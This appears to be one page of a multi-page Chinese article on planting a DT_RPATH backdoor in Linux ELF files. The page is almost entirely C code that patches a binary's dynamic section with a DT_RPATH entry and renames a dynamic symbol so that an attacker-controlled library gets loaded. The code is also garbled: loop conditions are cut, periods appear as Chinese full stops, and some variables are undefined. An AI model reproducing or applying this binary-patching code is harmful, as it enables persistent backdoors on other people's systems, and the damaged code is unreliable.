Linux系统下解析Elf文件DT_RPATH后门

{

if(shdyn->sh_type==SHT_DYNAMIC)

{

find=1;

break ;

}

shdyn++;

}

if(find==0)

{

printf("。dynamic section not find\n");

exit(0);

}

dyn=(Elf32_Dyn *)malloc(shdyn->sh_size);

if(dyn==NULL)

ERR("malloc");

if(lseek(fd,shdyn->sh_offset,SEEK_SET)!=shdyn->sh_offset)

ERR("lseek");

if(read(fd,dyn,shdyn->sh_size)!=shdyn->sh_size)

ERR("read");

dynp=dyn;

for(i=0;ish_size;i+=shdyn->sh_entsize)

{

ent++;

/*here is only find first NULL entry , not think too much,also don't find DT_RPAHT is exist!

add your code here:) */

if(dynp->d_tag==0 && (dynp->d_un。d_val==0 || dynp->d_un。d_ptr==0))

{

printf("+%d real entrys add DT_RPATH entry\n",ent-1);

offset=(dynp-dyn)*shdyn->sh_entsize;

goto modify;

}

dynp++;

}

out:

printf("no space\n");

free(dyn);

return -1;

modify:

if(lseek(fd,shdyn->sh_offset+offset,SEEK_SET)!=shdyn->sh_offset+offset)

ERR("lseek");

if(write(fd,&dt_rpath,sizeof(dynp->d_tag))!=sizeof(dynp->d_tag))

ERR("write");

if(write(fd,index,sizeof(dynp->d_un。d_val))!=sizeof(dynp->d_un。d_val))

ERR("write");

printf("+game over\n");

free(dyn);

return 0;

}

/*---------------------------------modifiy symbol name-------------------------------------------*/

static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname)

{

Elf32_Shdr * shdrp=shdr;//for loop

Elf32_Shdr * strsym;

char * string;

Elf32_Sym *sym,*symp;

int i;

int find=0;

for(i=0;ie_shnum;i++)

{

if(shdrp->sh_type==SHT_DYNSYM)

{ find=1;

break;

}

shdrp++;

}

if(!find)

{

printf("not find SHT_DYNSYM\n");

exit(1);

}

strsym=&shdr[shdrp->sh_link];

string=(char *)malloc(strsym->sh_size);

if(strsym==NULL)

ERR("malloc");

if(lseek(fd,strsym->sh_offset,SEEK_SET)!=strsym->sh_offset)

ERR("lseek");

if(read(fd,string,strsym->sh_size)!=strsym->sh_size)

ERR("read");

sym=(Elf32_Sym *)malloc(shdrp->sh_size);

if(sym==NULL)

ERR("malloc");

if(lseek(fd,shdrp->sh_offset,SEEK_SET)!=shdrp->sh_offset)

ERR("malloc");

if(read(fd,sym,shdrp->sh_size)!=shdrp->sh_size)

ERR("read");

symp=sym;

for(i=0;ish_size;i+=shdrp->sh_entsize)

{

if(!strcmp(&string[symp->st_name],symname))

{

if(lseek(fd,strsym->sh_offset+symp->st_name,SEEK_SET)!=strsym->sh_offset+symp->st_name)

ERR("lseek");

printf("+modify %s to %s \n",symgname,myname);

if(write(fd,myname,strlen(symgname))!=strlen(symgname))

ERR("write");

free(string);

return symp->st_name;

}

symp++;

}

printf("not find match symbol\n");

return -1;

}

/*---------------------------------file check--------------------------------------------*/

void elf_check(Elf32_Ehdr *ehdr)

{

//add your code here ,not supply

}

/*---------------------------------------main----------------------------------------------------*/

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页